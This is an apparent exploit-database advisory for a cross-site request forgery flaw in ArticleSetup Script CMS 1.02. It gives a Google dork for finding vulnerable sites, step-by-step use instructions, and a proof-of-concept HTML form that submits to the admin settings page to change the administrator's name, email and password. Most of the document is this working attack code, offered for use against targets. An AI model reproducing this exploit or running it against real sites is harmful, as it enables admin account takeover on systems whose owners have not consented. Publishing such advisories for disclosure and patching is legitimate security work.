ArticleSetup Script CMS 1.02 Cross Site Request Forgery

`====================================================================================================================================  
| # Title : ArticleSetup Script cms V1.02 CSRF Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Français V.(Pro) |  
| # Vendor : http://articlesynergy.com/ |   
| # Dork : intext:"© 2011 - Article Setup" |  
====================================================================================================================================  
  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] The following html code Update admin informations .  
  
[+] Go to the line 6.  
  
[+] Set the target site link Save changes and apply .   
  
[+] infected file : /admin/adminsettings.php .   
  
[+] http://127.0.0.1/q7art/admin/adminsettings.php  
  
[+] save code as poc.html .  
  
  
<h2>Update Your Admin Settings</h2>  
<div class="block">  
  
  
<p style="padding-left: 15px; color: red;">Settings updated!</p>  
<form style="padding-left: 15px;" name="submission" enctype="multipart/form-data" method="POST" action="http://127.0.0.1/articles3nichesiteorg/admin/adminsettings.php">  
  
<b>Name:</b><br>  
<input name="name" style="width: 250px;" value="Administrator" type="text">  
  
<b>Email:</b><br>  
<input name="email" style="width: 250px;" value="[email protected]" type="text">  
  
<b>New Password:</b><br>  
<p>(Leave the password fields blank to retain old password)</p>  
<input name="pass1" style="width: 250px;" type="password">  
  
<b>New Password (again):</b><br>  
<input name="pass2" style="width: 250px;" type="password">  
  
  
<div style="clear:both"></div>  
  
  
<input name="update" id="update" type="hidden">  
<button type="submit" id="submitstyle" name="save" class="button_colour round_all"><img alt="Bended Arrow Right" src="http://articles3.nichesite.org/admin/images/icons/small/white/Bended Arrow Right.png" width="24" height="24"><span>Update Settings</span></button>  
<script data-ad-client="ca-pub-9756159400559709" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>  
</form>  
  
====Greetings to :=========================================================================================================================  
| jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |  
===========================================================================================================================================  
`